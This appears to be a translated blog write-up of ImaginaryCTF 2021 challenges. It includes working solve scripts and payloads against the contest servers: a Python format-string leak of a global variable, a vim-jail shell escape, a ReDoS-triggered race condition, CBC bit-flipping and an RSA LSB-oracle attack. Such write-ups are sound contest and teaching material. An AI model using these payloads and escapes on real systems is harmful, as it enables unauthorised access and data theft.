ImaginaryCTF 2021 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This time I participated alone in ImaginaryCTF 2021 and ended up in 10th place. The overall difficulty was not very hard, but there were many novel and interesting challenges.

Challenges marked with * were solved after the competition

Misc

Imaginary

Just write a program to perform some operations on complex numbers. You can use Python's built-in complex number functionality, which is very convenient.

from pwn import remote
import ast
from operator import add, sub

io = remote("chal.imaginaryctf.org", 42015)
io.recvuntil(b"so watch out!)\n\n")

for i in range(300):
    q = io.recvlineS().strip()
    print(i, q)
    if "import" in q:
        io.sendlineafter(b"> ", "c8763")
        io.recvuntil(b"Correct!\n")
        continue
    toks = q.split(" ")
    nums = [ast.literal_eval(x.replace("i", "j")) for x in toks[::2]]
    ops = [add] + [add if x == "+" else sub for x in toks[1::2]]
    ans = 0
    for i in range(len(ops)):
        ans = ops[i](ans, nums[i])
    sans = str(ans).replace("(", "").replace(")", "").replace("j", "i")
    print(ans, sans)
    io.sendlineafter(b"> ", sans)
    io.recvuntil(b"Correct!\n")
io.interactive()

Spelling Test

The challenge provided a bunch of English words, some of which were misspelled. According to the instructions, connecting the incorrect characters forms the flag. I used autocorrect to correct them.

from autocorrect import Speller

spell = Speller(lang="en")

with open("words.txt") as f:
    words = [x.strip() for x in f.readlines()]


def diff(a, b):
    for x, y in zip(a, b):
        if x != y:
            return x


for w in words:
    if w != spell(w):
        print(diff(w, spell(w)), end="")
from autocorrect import Speller

spell = Speller(lang="en")

with open("words.txt") as f:
    words = [x.strip() for x in f.readlines()]


def diff(a, b):
    for x, y in zip(a, b):
        if x != y:
            return x


for w in words:
    if w != spell(w):
        print(diff(w, spell(w)), end="")

Formatting

The challenge is a remote Python program that reads your input string, formats it with .format(a=something), and then returns the response. The flag is stored in the global variable flag.

The solution is to use Python format strings to access the global variable. There are many articles online with related information.

{a.__init__.__globals__[flag]}

Prisoner's Dilemma

You can SSH into a host, and the screen opens with vim. The content is:

#!/usr/bin/env -S vim -u /dev/null +'set nocompatible' +'set directory=/tmp backupdir=/tmp' +'noremap : <nop>' +'noremap Q <nop>' +'noremap ! <nop>' +'inoremap quit <Esc>:qa!<cr>'

Testing reveals that : Q and ! are blocked in normal mode, and typing quit in insert mode allows you to exit. However, our goal is to get a shell. Searching online for vim jail challenges reveals that you can move the cursor to a word and press Shift+k, which is equivalent to the man [word] command, opening a pager (like less), allowing you to get a shell.

However, doing this in this challenge results in:

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, including manpages, you can run the 'unminimize'
command. You will still need to ensure the 'man-db' package is installed.

This is an issue with Ubuntu minimal, which doesn't have man-db by default.

My workaround was to find the command line window in vim documentation. It allows viewing the history of : / and ?, and you can enter insert mode to input and execute commands. Enter it using q: q/ or q?, then input q: followed by i to enter insert mode, type !bash, and press enter to get a shell.

Another theoretical method is using gf, which opens the file under the cursor. If the file is unsaved, you can use Ctrl+w followed by Ctrl+f to open it in another window. If vim has netrw, you can open a directory and list files, but the remote doesn't have netrw...

Later, I saw someone mention that the above method works without netrw. After entering /, use Ctrl+x followed by Ctrl+f for automatic path completion, listing the directory.

Puzzle 2

The challenge has a Unity game with the flag in a locked room.

I used dnSpy to open the Unity game's Assembly-CSharp.dll and modified the PlayerController's Move() function. Originally, it detected keys and added vectors to velocity. I changed it to add vectors to position, allowing wall clipping. After saving and reopening the game, I clipped through walls to the flag room.

Mazed

The challenge is a 4D 10x10x10x10 maze, and you need to reach the end. The solution is to use brute force DFS.

from random import choice
from copy import deepcopy
from pwn import *


class Maze:
    def __init__(self, dim, size):
        self.dim = dim
        self.size = size
        self.maze = "#"
        self.loc = tuple([0] * dim)
        for i in range(dim):
            self.maze = [deepcopy(self.maze) for _ in range(size)]
        self.gen()

    def __str__(self):
        if type(self.maze[0]) == str:
            return "".join(self.maze) + "\n"
        ret = ""
        for i in self.maze:
            temp = deepcopy(self)
            temp.dim -= 1
            temp.maze = i
            ret += str(temp)
        ret += "\n"
        return ret

    @staticmethod
    def fromstr(s):
        dim = 0
        for i in s[-max(len(s), 50) :][::-1]:
            if i == "\n":
                dim += 1
            else:
                break
        size = 0
        for i in s[: max(len(s), 50) :]:
            if i == "\n":
                break
            size += 1

        ret = Maze(2, 2)
        ret.maze = Maze.fromstrhelp(s, dim, size)
        ret.dim = dim
        ret.size = size
        ret.loc = tuple([0] * dim)
        return ret

    @staticmethod
    def fromstrhelp(s, dim, size):
        s = s.strip()
        if dim == 1:
            return list(s)
        return [
            Maze.fromstrhelp(i + "\n" * (dim - 1), dim - 1, size)
            for i in s.split("\n" * (dim - 1))
        ]

    def get(self, *pt):
        ret = self.maze
        for idx in pt:
            ret = ret[idx]
        return ret

    def set(self, *pt, **kwargs):
        temp = self.maze
        for idx in pt[:-1]:
            temp = temp[idx]
        temp[pt[-1]] = kwargs["val"]

    def check(self, *pt):
        for i in pt:
            if i >= self.size or i < 0:
                return False
        return True

    def adj(self, *pt):
        ret = set()
        for i in range(len(pt)):
            newpt = [i for i in pt]
            newpt[i] += 1
            if self.check(*newpt):
                ret = ret | {tuple(newpt)}
            newpt[i] -= 2
            if self.check(*newpt):
                ret = ret | {tuple(newpt)}
        return ret

    def neighbors(self, *pt, typ=None):
        ret = set()
        for pt in self.adj(*pt):
            if typ is None or self.get(*pt) in typ:
                ret = ret | {pt}
        return ret

    def gen(self):
        self.set(*self.loc, val=".")
        walls = self.adj(*self.loc)

        while len(walls) > 0:
            rand = choice(list(walls))
            nbhd = self.neighbors(*rand, typ=".")
            if len(nbhd) == 1:
                self.set(*rand, val=".")
                walls = walls | self.neighbors(*rand, typ="#")
            walls = walls - {rand}
        self.set(*([0] * self.dim), val="@")

        self.set(*([self.size - 1] * self.dim), val="F")
        for i in self.neighbors(*([self.size - 1] * self.dim)):
            self.set(*i, val=".")

    def move(self, s):
        for c in s:
            myloc = list(self.loc)
            moveidx = ord(c.lower()) - ord("a")
            myloc[moveidx] += -1 + 2 * (c < "a")
            if self.get(*myloc) == ".":
                self.set(*self.loc, val=".")
                self.set(*myloc, val="@")
                self.loc = tuple(myloc)
            elif self.get(*myloc) == "F":
                print("Flag:")
                print(open("flag.txt").read())
                exit(0)


def solve(maze, max_depth=50):
    vis = set()
    hist = [None] * max_depth

    def dfs(pos, depth=0):
        if depth >= max_depth:
            return
        if maze.get(*pos) == "F":
            return "".join(hist[:depth])
        vis.add(pos)
        for i in range(maze.dim):
            npos = list(pos)
            npos[i] += 1
            npos = tuple(npos)
            if (
                all(0 <= x < maze.size for x in npos)
                and maze.get(*npos) != "#"
                and npos not in vis
            ):
                hist[depth] = chr(ord("A") + i)
                r = dfs(npos, depth + 1)
                if r:
                    return r
            npos = list(pos)
            npos[i] -= 1
            npos = tuple(npos)
            if (
                all(0 <= x < maze.size for x in npos)
                and maze.get(*npos) != "#"
                and npos not in vis
            ):
                hist[depth] = chr(ord("a") + i)
                r = dfs(npos, depth + 1)
                if r:
                    return r
        vis.remove(pos)

    return dfs(maze.loc)


# io = process(["python", "maze.py"])
io = remote("chal.imaginaryctf.org", 42017)
io.recvuntil(b"This is your maze:\n")
s = io.recvuntilS(b"====")[:-4]
print("maze received")
maze = Maze(4, 10)
maze.maze = Maze.fromstrhelp(s, 4, 10)
io.sendlineafter(b"Enter your move: ", solve(maze))
print(io.recvallS())

Off To The Races!

The entire challenge code is as follows:

#!/usr/bin/env python3

import re
import time
from random import choice
from multiprocessing import Process, Value

balance = 0
bets = {}

rx = re.compile(r'ju(5)tn((([E3e])(v\4))+\4\5)+rl0\1\4')

def menu():
    print("1) Place Bet")
    print("2) Login as Admin")
    print()
    inp = input(">>> ")
    if '1' in inp:
        bet()
    elif '2' in inp:
        login()
    else:
        print("Invalid input!")

def flag():
    if admin.value:
        print("Admins aren't allowed to view the flag!")
        return
    if balance >= 100:
        print(open("flag.txt").read())
        exit(0)
    else:
        print("Insufficient balance!")

def bet():
    global bets
    name = input("What horse would you like to bet on? ")
    val = input("How much would you like to bet? ")
    if val.isdigit():
        bets[name] = int(val)
    else:
        print("Invalid bet!")

def admin_menu():
    print("1) Declare winner")
    print("2) View balance")
    print("3) Buy flag for $100")
    print("4) Logout")
    print()
    inp = input(">>> ")
    if '1' in inp:
        declareWinner()
    elif '2' in inp:
        print("Balance:", balance)
    elif '3' in inp:
        flag()
    elif '4' in inp:
        login()
    else:
        print("Invalid input!")

def declareWinner():
    global balance, bets
    if len(bets) == 0:
        print("No bets placed!")
        return
    winner = choice(list(bets))
    print("%s is the big winner!"%winner)
    for i in bets:
        balance -= bets[i]*(-1+2*(winner==i))
    bets = {}

def login():
    pwd = input("Enter admin password (empty to logout): ")
    if len(pwd) == 0:
        print("Logging out...")
        admin = 0
        return
    print("Validating...")
    Process(None, checkPass, None, args=(pwd,)).start()
    time.sleep(2)

def checkPass(pwd):
    valid = rx.match(pwd)
    if valid:
        print("Login success!")
        print("Redirecting...")
        admin.value = 1
    else:
        print("Login failure!")
        print("Redirecting...")
        admin.value = 0

def main():
    while True:
        print()
        print('='*80)
        if admin.value:
            admin_menu()
        else:
            menu()

if __name__ == '__main__':
    admin = Value('i', 0)
    main()

The goal is to get over 100 dollars and call the flag function when admin.value is not truthy, but the flag function requires being in admin_menu.

Earning money is simple: place two bets as a normal user, with amounts 1000000000 and 0, then log in as admin and declare the winner. There's a 50% chance of winning money. The key is how to call the flag function.

Based on the challenge name, it's likely a race condition. The login function has time.sleep(2), which is suspicious. One idea is to enter admin, then input an incorrect password during logout, causing the checkPass function to run for over 2 seconds. The login function will finish first, entering admin_menu because admin.value is still truthy. After checkPass finishes, admin.value becomes 0, allowing you to call flag and get the flag.

The key to delaying checkPass is the regex, which has a format like (a+)+. This can be exploited with inputs like aaaaaaaaaaaaaaaaaab for ReDoS, causing a delay.

Testing shows the following input makes rx.match take about 3 seconds on remote:

ju5tnEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEarl05E

A normal password for quick login is:

ju5tnEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvErl05E

Crypto

Chicken Caesar Salad

Nothing much to say about Caesar cipher.

Flip Flops

You can send a message to the remote, and if it doesn't contain gimmeflag, it encrypts the message with AES-CBC and sends it back. If you send a ciphertext that decrypts to include gimmeflag, you get the flag.

The method is hinted by the challenge name, CBC Bit-flipping Attack.

from pwn import *


def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))


# io = process(["python", "7B4E-flop.py"])
io = remote("chal.imaginaryctf.org", 42011)
io.sendlineafter(b"> ", "1")
io.sendlineafter(b"Enter your plaintext (in hex): ", (b"a" * 32).hex())
data = bytes.fromhex(io.recvlineS().strip())
iv, ct = data[:16], data[16:]
x = xor(iv, b"a" * 16)
iv = xor(x, b"gimmeflag       ")
data = iv + ct
io.sendlineafter(b"> ", "2")
io.sendlineafter(b"Enter ciphertext (in hex): ", data.hex())
io.interactive()

Rock Solid Algorithm

e=5e=5 RSA, reasonably assuming the flag isn't padded, so mem^e isn't much larger than nn. Just brute force the fifth root.

import gmpy2
from Crypto.Util.number import *

n = 18718668654839418101060350414897678724581774081742102287908765212690862231899547405582997157020093499506177632395430572542600019258424947803591395926472246347413986531437177801754324606200243710836609694453888894668656807471052095014376204102474311740080044776201105722801365112971807912406879483156845216746137339614577267869908065296042390812575960639865867729920434603853708907147465162697098688239587320232595412227310236678367
e = 5
c = 4061448515799106340420739691775850071489215699577921072934942485890519294380069123037340174441242842518682390853378784679825023237216051766738593812159344136064529711265570171627670665806072255545198689928996413238102114126558579154343844959868438278433954975590137693439216155482228025380904377837299357044104373966173149290333194304831238889245126840666444234215617022142380016275718234640045049962318290976661640301222078289152

for i in range(1000):
    m, exact = gmpy2.iroot(c + i * n, 5)
    if exact:
        print(long_to_bytes(m))
        break

Lines

This challenge uses Diffie-Hellman shared secret for multiplicative encryption: c=smc=sm

It provides a known plaintext-ciphertext pair and the flag's ciphertext, allowing simple math to solve for the flag.

from Crypto.Util.number import *

p = 82820875767540480278499859101602250644399117699549694231796720388646919033627
g = 2

c1 = 26128737736971786465707543446495988011066430691718096828312365072463804029545
c2 = 15673067813634207159976639166112349879086089811595176161282638541391245739514
msg = bytes_to_long(b":roocursion:")

flag = (c1 * pow(c2, -1, p) * msg) % p
print(long_to_bytes(flag))

New Technology

This challenge provides a public key and an AES-encrypted flag. The key is derived from the public Euler phi value, becoming the private key, which is then used to derive the AES key.

Although it doesn't seem odd at first glance, using algebra software like Sage reveals the private key is the square of the public key, likely a number theory result.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib

pub = 0x281AB467E16CDEDB97A298249BDD334F0CC7D54177ED0946C04EC26DA111C1FD7AFA78FCA045F81D89FE541F1D869B8EDD4209C898A529737B9380CE9B47133ED9E097BCF050178C4A1FF92F35410EE589CC62617B63632F6C7AA506BDC50A79624246A63E4139A04A51F666CC53E21B7D4B12DA7757FEB367D47110AF9BC707D92C9BE2F2E4A51EA219CD9AACC76950F992CED96BAB65BA654DED42AF5FC4FEC5330EBC29F377E733F1829B72F91E270C43E407D649D5CC1D38BE9A0020CFE5CC537C131887B5A07A214EAE2F0D9E684897590A637BD800FED6A61F6C034FE3A69D516D10A1E63AEE3F71E067497D0D7AC1EC771CFAE3CE89D82D69CD280622730E58B0427D193A5404F21F962E711D31C9A224E187031CF0E4BCDB341B65E999157FB55C7AAE0CFFED74B832A79259C18BF7B2DB57E500D36376767973EE350AF4FC004A7F4DCD325724A6994CA63687D3CFB688DEB20E4175A67969ED7D245C207257EAB7A71CC298532E72E73E446102E59A1A36DE09C386445DF171797E0D2DB39F4FC1FBA793D78EA92C6801B79EAEF2EBAAD54BD2A8106471ADC60BE708B9B0F4E824C25C414755FF56DACE29C067E29C11A8ADCC5F367E1C7D10310116EAB8D99DDB2AE524F56BF9436F59E581C6E22B4A80D2520893C57AAAFA0E6349347991F26B25B594BD47C5C0A69ED32C3FD0961F54586F3D91BF14D96D93D3F97C7A504BA8E3FE9E08316FE9F3D78500337A180120B5B375980EF19F57FF678A07B582EA3A113E2A0B14683FF3983153A2203CFFD39FC7673281F72DB700D
ct = bytes.fromhex(
    "d2463ccc52075674effbad1b1ea5ae9a9c8106f141cff8fdec9b118ddddcfb3a1f036ed5f3bf0440c95828ebf1c584e4"
)
key = pub ** 2

cipher = AES.new(
    hashlib.sha256(str(key).encode("utf-8")).digest(), AES.MODE_CBC, iv=b"\0" * 16
)
print(unpad(cipher.decrypt(ct), 16))

Primetime

This challenge uses a custom(?) method to create an additive cyclic group, then performs Diffie-Hellman scalar multiplication to encrypt the flag.

Elements can be represented as: A=i=016piaiA=\sum_{i=0}^{16} p_i^{a_i}, where 0ai<2560 \leq a_i < 256 and aia_i is the ii-th prime.

Any byte sequence shorter than 16 can be encoded into this group.

Addition is defined as multiplying two elements: A+B=i=015piai+biA+B=\sum_{i=0}^{15} p_i^{a_i+b_i}, then reducing using a special method.

Reduction occurs when ai+bi256a_i+b_i \geq 256, taking ai+bimod256a_i+b_i \mod{256} and multiplying by pi+1(ai+bi)/256p_{i+1}^{\lfloor (a_i+b_i)/256 \rfloor} (only if i15i \neq 15).

This complex element can be simply expressed as aia_i, and since pip_i are primes, an isomorphism can map i=016piai\sum_{i=0}^{16} p_i^{a_i} to aia_i. Addition is easily converted to a base 256 carry problem.

Scalar multiplication is achieved by repeated addition, and element multiplication converts one element to a scalar, then performs scalar multiplication.

The challenge provides a generator GG, and two public keys A=dAGA=d_AG and B=dBGB=d_BG, with shared secret S=dAB=dAdBGS=d_AB=d_Ad_BG. Encryption encodes the flag as MM, then C=MSC=MS is the encrypted flag.

The solution involves brute-forcing the discrete log, then guessing the order is 25616256^{16}. Convert SS to a scalar, then use an RSA-like method to solve for MM.

from itertools import islice
from math import gcd

ELEMENT_LEN = 16


def primes():
    num = 2
    while True:
        prime = 1
        for i in range(2, num):
            if num % i == 0:
                prime = 0
        if prime:
            yield num
        num += 1


class Element:
    def __init__(self, n):
        self.n = Element.reduce(n)

    def __str__(self):
        return str(self.n)

    def __add__(self, other):
        return Element(self.n * other.n)

    def __eq__(self, other):
        return self.n == other.n

    def __mul__(self, n):
        if type(n) == int:
            ret = Element(1)
            for c in "{:0128b}".format(n):
                ret += ret
                if c == "1":
                    ret += self
            return ret
        if type(n) == Element:
            ret = Element(1)
            primelist = list(islice(primes(), ELEMENT_LEN))
            for i, num in enumerate(primelist[::-1]):
                cnt = 0
                temp = n.n
                while gcd(temp, num) > 1:
                    cnt += 1
                    temp //= num
                for c in "{:08b}".format(cnt):
                    ret += ret
                    if c == "1":
                        ret += self
            return ret

    def factor(self):
        primelist = list(islice(primes(), ELEMENT_LEN))
        n = self.n
        ret = []
        for p in primelist:
            e = 0
            while n % p == 0:
                e += 1
                n //= p
            ret.append(e)
        return ret

    @staticmethod
    def encode(b):
        assert len(b) <= ELEMENT_LEN
        ret = 1
        for i, num in enumerate(primes()):
            if i >= len(b):
                return Element(ret)
            ret *= num ** b[i]

    @staticmethod
    def reduce(n):
        if n == 0:
            return 0
        primelist = list(islice(primes(), ELEMENT_LEN))
        for i, num in enumerate(primelist):
            while n % (num ** 256) == 0:
                n //= num ** 256
                if num != primelist[-1]:
                    n *= primelist[i + 1]
        return n


def div(b, x):
    a = [(b[0] * pow(x, -1, 256)) % 256]
    print("a", a)
    rem = (a[-1] * x) // 256
    for t in range(256):
        if (t * x) % 256 == (b[1] - rem) % 256:
            print(t)


def fastmul(a, x):
    a = list(a)
    for i in range(len(a)):
        a[i] = a[i] * x
    for i in range(len(a) - 1):
        t = a[i] // 256
        a[i] %= 256
        a[i + 1] += t
    a[-1] %= 256
    return a


def common_prefix_len(a, b):
    i = 0
    for x, y in zip(a, b):
        if x != y:
            return i
        i += 1
    return i


def div(b, a):
    x = (pow(a[0], -1, 256) * b[0]) % 256
    for j in range(128):
        mx = 0
        mxi = 0
        for i in range(256):
            xx = x + 256 ** j * i
            l = common_prefix_len(fastmul(a, xx), b)
            if l > mx:
                mx = l
                mxi = i
        x = x + 256 ** j * mxi
    return x


gen = Element.encode(b"+h3_g3n3ra+0r_pt")
a = gen.factor()
b = (gen * (123456789123121416456101)).factor()
print(div(b, a))

apub = Element(
    500357207949360011860695121815899154205449526010094454587979283923848585928632790645830299149453976090217245034593189992901761945331391001831072705847529750866803738700279912225965066678805507724715185506382939990799142229405455422041035178874211011751119398295299857806816386990092657837100900358347160719366783975929360339558498954820961285465620670002225659239889936599555456580359830295682062738334991554515900855548402512120620826749650756396521580270922365597641747429056073405053306940242427219752253635745528457603722008636075237147298943858617107939076277273399231985298341212601734800636370999484513623887390101127340743342876064866252125623244784047384124434094248088541685991462467253654297437402579588310999589250019828289348424957170149192160244201016103564578588147214864367737210883054758124265449650412379712901047384113980036061641986088569966224174765198474542155526830408621034708868718697636100198425645098483952048597971766147148562801195620760539216440235693381518250562984372199863885643755757214089633375219003612064713273736559152427459535130250092023420143477707286077709232094800239072803517436957478931071194581758588450886409637439466396963345804860757070798727515483494675801215036424531830745500453844192878776568008293800605196374630455749994012121524858660398046104081319756695361411583808985083359313858106135372136738671726749040433685890796455263432281216811093299277064687480718190942550814850814407562334926077877676598543907922236613521119009586779154611789987179126766615943929772599695669520979353761815721157999238946735681596011441649989258585110321624675217941201187909029596813349743091266836232134969764625366003476480256701372331765458959029575707117530532230865877414940866110631649448043296830423058310406934224218377145264611861381237149895001131889611829956995478830008145471859396864805534974592201372189664997613965274100537255280841341170249447407571114570047875217384488392158566315390952841556785484370880052264041078786170255986678011312984641313598302687184300188325196569072886923470341432247404566641268078569475653330045976812733466593716111751384324533020583788953027557237835067004513165882907985939149646381279609629318864389650921121923020213226228513603636456117420175850185142392993312209091757679786168841969441373117841632183687309590978239277773475240704285654614023321424952810616910104960766147996764630079269409179687500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)
bpub = Element(
    16886140056354929427596567134326274485089560876286587124880756776977234171194975112435706147950799696726908760658379821703149986444584878143140068702252015934960869287878322047490841738237874007046175824327084819514960404309424024113231139223861581544723516192652636805273357007644252260334729236474638160005764882935578262087486745293103885797061462688773083837075673189527385494402886609308403934147632724023257349680752961803065635925869948563007304878787110064389481872192366584512937841048468261211375429258958036548757053991996868300235304332273530321070329379020853444464240627041844300407866738869823452918322784480833423513934929560513907874987813120398493556639406496655016703649326363315033712731233353178163811161488388839390738262151375611580388444190759888831710750624276059144292899974826212289291969860139700532775617760660718794818872911412098833789379882399598261500955720072887205985369118340511562424744684639569259883139517187974824181161950853887501387501187533776882087154686028474068751277305741248685427657830194130748307070414382936407812885971658094632673983740655241311628134690600772581373912071007373125831843767625012450700810049087602396672865730638377689910261970907167046870064759518544522056232795427162931983841754885841450494951705090997053611611069917900060383989748392235104217239203473575532102615155006722382194628347358754931623088568632887718111126185067797075616155294431574382263248465435551886356909040531366803040834139857334636132106628196713569727099358483467637513761623400457735977788527032015578721718162822785170003462615480682584982243958489401431342170655879609002009895863301679816403246730998946157219824974543751650675652958447410488528133202362655228903399639156272433490870994720909626670226251331877964832588817607911429113039240473499490028276618695486368021575737295277971954819472892265787971700525462969787279175719807716828606735008026486188322740499290581075721121149217204096567012568889510467546153859876198602143814772355379175058561482130360819063434290077131027968377991635072477044088229862441648707747330048000000000000000000
)
ct = Element(
    4010240541516399645321195034562461743458717219622622476493704732090859438167824966510148664351969649209110773241667692984697276501182707040128953765431706761834670787505514727554018556734879304098746873934089421121324218982247512814291351924877223043671728378891265540580997799487407053766647917779316763623094334611762868712057093611941314165202770691822529980585632976853670674565411273511833281110362770513187167914301635551991652653407362535224460872087333793483316891646632494686376076558532105013390219039843977909552469638359056046774015515596827199558260021294063686136404100077341838007398597465059993890928975576168315884904951930525706619213592769136606240625593489533975645387142828210729867767278782119009331299561834682615683259310762241323090900813481384333313188349411738492701047351562906839027181345022408682546416298832221649815297100598520446510702177236903581781476059676126464154669551252010296436679203727260122943272621547188029138551212046664928456708684569207855966732611875672446792947108786585829210484574660392141694053085701648964856278540345796111300830486730030373529236112854444770251061943299296906500878069990248133167421042557041575470018986481268826219893272218420187883811123048819805445449064826589938738021139023893746912952527027222810299329863641696021085054087718325983196914452039601872746439052469287204179047225378529312836547478630121319644513116659936348718675908460300862292582892882083915587965880575007908913533392291894019388201088744671218326443475109837687802579916256424185706643145007052009351056263884426086245516495968072790560107840332325292785270761251889294074244311879282572271185728302777909531413313220715212939865522739184866268196705707066260280696302535249923384583209822803191861890646931401654221911423162123708562219923887711419797120582685051956135283939881134091672191052692914756132753539012305415879968591647612459785998064874621862898383730813805202557191218101598089805789828614247107472592605080809008373281661279063601135101044553043016070821365079615866754551254372262660601301298818637825194579280847712938995049673216656916509188770025210827227323668492245704588870179128479645964519746861500154978473782934668650516904535768949282799428827614911842356617493958178344117941689901663879465330029616060074179381566862194995633197690056062963968575373204151012941127649306394093994121093750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)

akey = div(apub.factor(), gen.factor())
assert gen * akey == apub
print(akey)
s = bpub * akey

od = 256 ** 16

xxx = ""
primelist = list(islice(primes(), ELEMENT_LEN))
for i, num in enumerate(primelist[::-1]):
    cnt = 0
    temp = s.n
    while gcd(temp, num) > 1:
        cnt += 1
        temp //= num
    xxx += "{:08b}".format(cnt)
print(bytes((ct * pow(int(xxx, 2), -1, od)).factor()))

A simpler method maps directly to Z/128Z\mathbb{Z}/128\mathbb{Z}

Roll it back

This challenge uses strange bit operations to repeatedly perform bit operations on the flag:

# T is a known constant
# l = flag.bit_length()
for _ in range(421337):
    flag = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))

Initially, I couldn't understand the operations, so I used z3 to solve it, which took some time:

from itertools import *
from functools import reduce
from gmpy2 import *
from z3 import *
from tqdm import tqdm
from Crypto.Util.number import *


def x(a, b):
    return bytes(
        islice((x ^ y for x, y in zip(cycle(a), cycle(b))), max(*map(len, [a, b])))
    )


def t(x):
    return sum((((x & 28) >> 4) & 1) << i for i, x in enumerate(x))


T = t(x(b"jctf{not_the_flag}", b"*-*")) | 1
l = 420


def popcount(b):
    n = b.size()
    bits = [Extract(i, i, b) for i in range(n)]
    bvs = [Concat(BitVecVal(0, n - 1), b) for b in bits]
    nb = reduce(lambda a, b: a + b, bvs)
    return nb


def rev(x, n):
    flag = BitVec("flag", l)
    iflag = flag
    sol = Solver()
    for _ in range(n):
        flag = LShR(flag, 1) | ((popcount(flag & T) & 1) << (l - 1))
    sol.add(flag == x)
    assert sol.check() == sat
    m = sol.model()
    return m[iflag].as_long()


flag = 2535320453775772016257932121117911974157173123778528757795027065121941155726429313911545470529920091870489045401698656195217643
for i in tqdm(range(421337 // 10)):
    flag = rev(flag, 10)
for _ in range(7):
    flag = rev(flag, 1)
print(flag)
print(long_to_bytes(flag)[::-1])

Later, seeing the flag mentioning LFSR, I realized the operations were advancing the LFSR state by XORing specific bits.

Using Sage to solve:

from gmpy2 import *
from Crypto.Util.number import *

T = 136085
print(bin(T))
flag = 2535320453775772016257932121117911974157173123778528757795027065121941155726429313911545470529920091870489045401698656195217643
l = 420
fnext = (flag >> 1) | ((popcount(flag & T) & 1) << (l - 1))

P = PolynomialRing(GF(2), "x")
x = P.gen()
poly = sum([int(c) * x ^ i for i, c in enumerate(bin(T)[2:][::-1])]) + x ^ l
print(poly)
M = companion_matrix(poly, "bottom")
v = vector(map(int, f"{flag:0420b}"[::-1]))
assert M * v == vector(map(int, f"{fnext:0420b}"[::-1]))
flag = M ^ (-421337) * v
print(long_to_bytes(int("".join(map(str, flag[::-1])), 2))[::-1])

*ZKPoD

This challenge encrypts the flag with RSA, and an oracle allows you to decrypt messages and sign them with Schnorr signature. The nonce is completely random, so no attack from that part.

During the competition, I considered using Lattice to solve since e=H(rd)e=H(r || d) is only about 1024 bits, but it failed.

The author's solution uses (gp)=1\left(\dfrac{g}{p}\right)=-1, allowing you to determine kk's parity from rgk(modp)r \equiv g^k \pmod{p}. When e=H(rd)e=H(r || d) is even, you can determine xx's LSB since skxekx(mod2)s \equiv k - xe \equiv k - x \pmod{2}.

Knowing the LSB provides an RSA oracle, allowing LSB Oracle Attack to binary search the flag.

from pwn import remote
from Crypto.Util.number import *
from sage.all import *

N = 0xBB00128C1C1555DC8FC1CD09B3BB2C3EFEAAE016FCB336491BD022F83A10A501175C044843DBEC0290C5F75D9A93710246361E4822331348E9BF40FC6810D5FC7315F37EB8F06FB3F0C0E9F63C2C207C29F367DC45EEF2E5962EFF35634B7A29D913A59CD0918FA395571D3901F8ABD83322BD17B60FD0180358B7E36271ADCFC1F9105B41DA6950A17DBA536A2B600F2DC35E88C4A9DD208AD85340DE4D3C6025D1BD6E03E9449F83AFA28B9FF814BD5662018BE9170B2205F38CF3B67BA5909C81267DAA711FCDB8C7844BBC943506E33F5F72F603119526072EFBC5CEAE785F2AF634E6C7D2DD0D51D6CFD34A3BC2B15A752918D4090D2CA253DF4EF47B8B
e = 0x10001
P = 0x199E1926F2D2D5967B1D230B33DE0A249F958E5B962F8B82CA042970180FE1505607FE4C8CDE04BC6D53AEC53B4AA25255AE67051D6ED9B602B1B19E128835B20227DB7EE19CF88660A50459108750F8B96C71847E4F38A79772A089AA46666404FD671CA17EA36EE9F401B4083F9CA76F5217588C6A15BABA7EB4A0934E2026937812C96E2A5853C0E5A65231F3EB9FDC283E4177A97143FE1A3764DC87FD6D681F51F49F6EED5AB7DDC2A1DA7206F77B8C7922C5F4A5CFA916B743CEEDA943BC73D821D2F12354828817FF73BCD5800ED201C5AC66FA82DF931C5BBC76E03E48720742FFE673B7786E40F243D7A0816C71EB641E5D58531242F7F5CFEF60E5B
g = 2

io = remote("chal.imaginaryctf.org", 42012)
# io = process('python')
io.recvuntil(b"Here's my encrypted flag: ")
encflag = int(io.recvlineS().strip(), 16)


def sign_dec(ct):
    global io
    try:
        io.sendlineafter(b"> ", hex(ct))
        io.recvuntil(b"r: ")
        r = int(io.recvlineS().strip())
        io.recvuntil(b"s: ")
        s = int(io.recvlineS().strip())
        return r, s
    except:
        io.close()
        io = remote("chal.imaginaryctf.org", 42012)
        return sign_dec(ct)


from gmpy2 import powmod
import hashlib
from Crypto.Util.number import bytes_to_long


def H(x):
    return bytes_to_long(
        hashlib.sha512(b"domain" + x).digest()
        + hashlib.sha512(b"separation" + x).digest()
    )


def HH(r):
    return H(str(r).encode() + b"Haha, arbitrary message")


def oracle(x):
    # s = k - x * H(r || d)
    r, s = sign_dec(x)
    ep = HH(r) % 2
    if ep % 2 == 0:
        return
    # s = k - x (mod 2)
    # x = k - s (mod 2)
    # kronecker(g, P) = -1
    kp = 1 if kronecker(r, P) == -1 else 0
    sp = s % 2
    return (kp - sp) % 2


def crack(c, n, e, oracle, lim=1000):
    c0 = c
    c2 = pow(2, e, n)
    l, r = 0, n
    while r - l > lim:
        # Due to rounding problem, it can't really get an accurate answer...
        mid = (l + r) // 2
        ret = oracle((c2 * c) % n)
        if ret is None:
            continue
        if ret == 0:
            r = mid
        else:
            l = mid
        c = (c2 * c) % n
        print(r - l)
    for x in range(l, r + 1):
        if powmod(x, e, n) == c0:
            return x


print(long_to_bytes(crack(encflag, N, e, oracle, 10000)))
# ictf{gr0up5_should_b3_pr1me_0rd3r_dummy}

Here's the author's solution, summarizing other methods: ZKPoD

Web

Roos World

The source code contains jsfuck. Executing it reveals the flag. Opening the console also works.

Build-A-Website

